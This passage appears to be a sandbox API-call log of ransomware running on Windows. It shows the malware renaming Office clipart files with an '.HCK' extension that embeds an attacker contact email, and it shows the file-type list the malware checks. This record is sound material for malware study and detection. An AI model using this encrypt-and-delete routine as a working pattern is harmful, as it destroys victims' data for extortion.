[0170.167] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.167] SetEndOfFile (hFile=0x360) returned 1 [0170.176] CloseHandle (hObject=0x360) returned 1 [0170.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187893.wmf")) returned 1 [0170.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.181] lstrlenW (lpString=".doc") returned 4 [0170.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.181] lstrlenW (lpString=".docx") returned 5 [0170.181] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.181] lstrlenW (lpString=".pdf") returned 4 [0170.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.181] lstrlenW (lpString=".xls") returned 4 [0170.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.181] lstrlenW (lpString=".xlsx") returned 5 [0170.181] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.181] lstrlenW (lpString=".ppt") returned 4 [0170.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.181] lstrlenW (lpString=".zip") returned 4 [0170.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.181] lstrlenW (lpString=".rar") returned 4 [0170.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.181] lstrlenW (lpString=".bz2") returned 4 [0170.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString=".7z") returned 3 [0170.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.182] lstrlenW (lpString=".dbf") returned 4 [0170.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.182] lstrlenW (lpString=".1cd") returned 4 [0170.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.182] lstrlenW (lpString=".jpg") returned 4 [0170.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.182] lstrlenW (lpString=".doc") returned 4 [0170.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString=".docx") returned 5 [0170.182] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.182] lstrlenW (lpString=".pdf") returned 4 [0170.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString=".xls") returned 4 [0170.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.182] lstrlenW (lpString=".xlsx") returned 5 [0170.182] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.182] lstrlenW (lpString=".ppt") returned 4 [0170.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.182] lstrlenW (lpString=".zip") returned 4 [0170.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.182] lstrlenW (lpString=".rar") returned 4 [0170.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString=".bz2") returned 4 [0170.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString=".7z") returned 3 [0170.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.182] lstrlenW (lpString=".dbf") returned 4 [0170.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.182] lstrlenW (lpString=".1cd") returned 4 [0170.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187893.WMF") returned 68 [0170.182] lstrlenW (lpString=".jpg") returned 4 [0170.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.182] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.182] lstrlenW (lpString="J0188513.WMF") returned 12 [0170.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0170.185] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12292) returned 1 [0170.186] CloseHandle (hObject=0x374) returned 1 [0170.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf")) returned 0x220 [0170.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.197] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.197] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.200] GetLastError () returned 0x0 [0170.200] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3004, lpOverlapped=0x0) returned 1 [0170.202] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3010, lpOverlapped=0x0) returned 1 [0170.203] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.203] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.203] SetEndOfFile (hFile=0x39c) returned 1 [0170.209] CloseHandle (hObject=0x39c) returned 1 [0170.212] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.212] SetEndOfFile (hFile=0x370) returned 1 [0170.215] CloseHandle (hObject=0x370) returned 1 [0170.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188513.wmf")) returned 1 [0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.220] lstrlenW (lpString=".doc") returned 4 [0170.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString=".docx") returned 5 [0170.220] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.220] lstrlenW (lpString=".pdf") returned 4 [0170.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString=".xls") returned 4 [0170.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.220] lstrlenW (lpString=".xlsx") returned 5 [0170.220] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.220] lstrlenW (lpString=".ppt") returned 4 [0170.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.220] lstrlenW (lpString=".zip") returned 4 [0170.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.220] lstrlenW (lpString=".rar") returned 4 [0170.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString=".bz2") returned 4 [0170.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString=".7z") returned 3 [0170.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.220] lstrlenW (lpString=".dbf") returned 4 [0170.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.220] lstrlenW (lpString=".1cd") returned 4 [0170.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.220] lstrlenW (lpString=".jpg") returned 4 [0170.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.221] lstrlenW (lpString=".doc") returned 4 [0170.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.221] lstrlenW (lpString=".docx") returned 5 [0170.221] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.221] lstrlenW (lpString=".pdf") returned 4 [0170.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.221] lstrlenW (lpString=".xls") returned 4 [0170.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.221] lstrlenW (lpString=".xlsx") returned 5 [0170.221] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.221] lstrlenW (lpString=".ppt") returned 4 [0170.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.221] lstrlenW (lpString=".zip") returned 4 [0170.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.221] lstrlenW (lpString=".rar") returned 4 [0170.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.221] lstrlenW (lpString=".bz2") returned 4 [0170.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.221] lstrlenW (lpString=".7z") returned 3 [0170.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.221] lstrlenW (lpString=".dbf") returned 4 [0170.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.221] lstrlenW (lpString=".1cd") returned 4 [0170.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188513.WMF") returned 68 [0170.221] lstrlenW (lpString=".jpg") returned 4 [0170.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.221] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.221] lstrlenW (lpString="J0188669.WMF") returned 12 [0170.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0170.228] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=29602) returned 1 [0170.228] CloseHandle (hObject=0x3ac) returned 1 [0170.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf")) returned 0x220 [0170.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0170.235] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.235] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0170.240] GetLastError () returned 0x0 [0170.240] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x73a2, lpOverlapped=0x0) returned 1 [0170.244] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x73b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x73b0, lpOverlapped=0x0) returned 1 [0170.245] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.245] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.245] SetEndOfFile (hFile=0x378) returned 1 [0170.248] CloseHandle (hObject=0x378) returned 1 [0170.249] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.250] SetEndOfFile (hFile=0x354) returned 1 [0170.253] CloseHandle (hObject=0x354) returned 1 [0170.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0188669.wmf")) returned 1 [0170.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.257] lstrlenW (lpString=".doc") returned 4 [0170.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString=".docx") returned 5 [0170.258] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.258] lstrlenW (lpString=".pdf") returned 4 [0170.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString=".xls") returned 4 [0170.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.258] lstrlenW (lpString=".xlsx") returned 5 [0170.258] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.258] lstrlenW (lpString=".ppt") returned 4 [0170.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.258] lstrlenW (lpString=".zip") returned 4 [0170.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.258] lstrlenW (lpString=".rar") returned 4 [0170.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString=".bz2") returned 4 [0170.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString=".7z") returned 3 [0170.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.258] lstrlenW (lpString=".dbf") returned 4 [0170.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.258] lstrlenW (lpString=".1cd") returned 4 [0170.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.258] lstrlenW (lpString=".jpg") returned 4 [0170.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.258] lstrlenW (lpString=".doc") returned 4 [0170.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString=".docx") returned 5 [0170.258] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.258] lstrlenW (lpString=".pdf") returned 4 [0170.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.258] lstrlenW (lpString=".xls") returned 4 [0170.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.258] lstrlenW (lpString=".xlsx") returned 5 [0170.258] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.258] lstrlenW (lpString=".ppt") returned 4 [0170.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.259] lstrlenW (lpString=".zip") returned 4 [0170.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.259] lstrlenW (lpString=".rar") returned 4 [0170.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.259] lstrlenW (lpString=".bz2") returned 4 [0170.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.259] lstrlenW (lpString=".7z") returned 3 [0170.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.259] lstrlenW (lpString=".dbf") returned 4 [0170.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.259] lstrlenW (lpString=".1cd") returned 4 [0170.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0188669.WMF") returned 68 [0170.259] lstrlenW (lpString=".jpg") returned 4 [0170.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.259] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.259] lstrlenW (lpString="J0195260.WMF") returned 12 [0170.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0170.264] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8314) returned 1 [0170.264] CloseHandle (hObject=0x360) returned 1 [0170.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf")) returned 0x220 [0170.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0170.277] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.277] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195260.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.282] GetLastError () returned 0x0 [0170.282] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x207a, lpOverlapped=0x0) returned 1 [0170.285] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2080, lpOverlapped=0x0) returned 1 [0170.285] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.285] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.285] SetEndOfFile (hFile=0x308) returned 1 [0170.286] CloseHandle (hObject=0x308) returned 1 [0170.288] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.288] SetEndOfFile (hFile=0x330) returned 1 [0170.290] CloseHandle (hObject=0x330) returned 1 [0170.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft 